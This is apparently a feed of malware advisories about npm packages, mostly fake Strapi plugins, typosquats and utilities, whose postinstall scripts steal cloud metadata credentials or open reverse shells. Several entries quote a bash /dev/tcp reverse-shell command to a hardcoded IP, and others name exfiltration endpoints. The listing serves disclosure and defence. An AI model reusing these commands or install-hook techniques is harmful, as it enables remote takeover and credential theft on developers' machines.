MAL-2026-17161 Malicious code in simple-date-formatter-new-15 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 005b96d3c3d5f1a071c40a8b72ea22b5e0221db32cfffacfc8f2343f0ee97eb0 The package's package.json postinstall script curls cloud instance-metadata endpoints AWS IMDS at 169.254.169.254/latest/meta-data/sts-credential,...

Malicious code in simple-date-formatter-new-11 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 10e00618100992f74fd0b4c908be0db1c3e13de1b37ae9dc5952b7836f564042 Package presents itself as a date-formatting utility but performs credential theft against the installer through two channels. The postinstall script...

MAL-2026-17158 Malicious code in simple-date-formatter-new-11 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 10e00618100992f74fd0b4c908be0db1c3e13de1b37ae9dc5952b7836f564042 Package presents itself as a date-formatting utility but performs credential theft against the installer through two channels. The postinstall script...

MAL-2026-16474 Malicious code in vite-dev-launcher (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ac504b2228b7e2d5aab05aac8cb13072d87bc4f047f390d207c7712c7cdd123 The package presents as a Vite dev-server wrapper but its declared postinstall node./postinstall-run.cjs chains through...

Malicious code in n8n-nodes-metricsagent (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5c0f8f773e26111905993b9bded9babe49611349bbe3ea18d32da0c22692f65f The package declares a postinstall lifecycle script package.json scripts.postinstall = 'node postinstall.js || true' that requires./index.js and...

MAL-2026-16445 Malicious code in n8n-nodes-metricsagent (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5c0f8f773e26111905993b9bded9babe49611349bbe3ea18d32da0c22692f65f The package declares a postinstall lifecycle script package.json scripts.postinstall = 'node postinstall.js || true' that requires./index.js and...

Malicious code in sorrawit-dev-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c64040dcfbbdb6ce434caf3cd5bd2baa518cc00970281a69f5309d57a4621233 package.json declares a postinstall lifecycle script that runs automatically on npm install. The script reads /tmp/flag.txt from the installer's...

Malicious code in strapi-plugin-osag (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 34d9349a970008e54774fc533af589248d578e1d34f6f82a9a6630beeabd2203 The package presents itself as a Strapi plugin but ships no plugin code — only a postinstall.js script that runs automatically on npm install. The...

MAL-2026-16226 Malicious code in strapi-plugin-ccip-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fbf7a24da69c80ba7475efcb12c97f1be8b4ebbed42b47131ac9716ff38d5620 [email protected] declares scripts.postinstall = 'node postinstall.js', so postinstall.js runs automatically on npm install. The script...

Malicious code in strapi-plugin-pencc-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3b4277c223cb7d5a9b8c263570a18670ee5054779862fbb801024a55629aa208 postinstall.js is registered as the package's postinstall script and runs automatically on npm install. It compares os.hostname to the hardcoded stri...

Malicious code in strapi-plugin-ccsuc-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8fb6207f1b4ec4d94c724583a5f32b85f68d203e1a9e6372705b410efbf9173a The package's postinstall lifecycle script postinstall.js, wired via scripts.postinstall in package.json checks the installer's hostname against a...

MAL-2026-16206 Malicious code in @prime0/pcomatch (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 08299e41eb4feb9e324854bf5cd3386e6e52696b4b11443254374897a1ad3816 index.js and the postinstall lifecycle script contact a hardcoded bare-IP endpoint at http://69.48.229.140:8080 over plain HTTP. On npm install, the...

Malicious code in @prime0/alanced-match (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 53d49bf28eb233bca0591b32c11b411d1c10b8e8f978d1b76c6df2e6a00772f3 The package @prime0/alanced-match is a 1-character-drop typosquat of balanced-match. Its postinstall.js runs automatically on npm install and POSTs a...

MAL-2026-16194 Malicious code in strapi-plugin-yesccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b4fa4d6fa3f37bcc5179aecbcb365bc73d94ac1cb799ac4f93fa4702292b493 package.json declares postinstall: node postinstall.js, which unconditionally spawns bash with stdio redirected to /dev/tcp/14.225.210.85/443, giving...

MAL-2026-16187 Malicious code in strapi-plugin-revsh-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6d4e28da86ccc1cb11bae22a247171657c958b6bf24b8bf4541bb08970c969b package.json declares scripts.postinstall = "node postinstall.js", causing postinstall.js to run automatically on npm install. That file executes bas...

MAL-2026-16186 Malicious code in strapi-plugin-revs02-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b50be7098a50f4a7fc673fdffe7a06ab9ce182fdca04a8ee9cd448f66c9a6b1 The package declares scripts.postinstall pointing at postinstall.js, whose top-level code executes bash -c 'bash -i /dev/tcp/14.225.210.85/443 0&1',...

MAL-2026-16185 Malicious code in strapi-plugin-revs01-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 981b426b3809283ad517caf0032d403db2c479faa3c717620151cbfabcc9b81c [email protected] ships a postinstall lifecycle script scripts.postinstall = node postinstall.js that spawns /bin/bash via...

Malicious code in strapi-plugin-proccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c65ca459d74b0be577eb0a1476ec8b9de089a524019ea9ef0061c5ee42e00729 strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install...

MAL-2026-16183 Malicious code in strapi-plugin-resh-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3016b01076e22e0a7bfd8e255bb5a5e03bdfe776f0dc16e60878210b5335fd42 [email protected] declares a postinstall lifecycle script that executes postinstall.js on npm install. The script invokes bash -c 'ba...

MAL-2026-16190 Malicious code in strapi-plugin-tryccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55571a74d951028d497f98afecfee7720d6ae4138513ead2c2fa46b7f96e5af The package's postinstall lifecycle script postinstall.js uses childprocess.exec to spawn bash -c 'bash -i /dev/tcp/14.225.210.85/443...', opening an...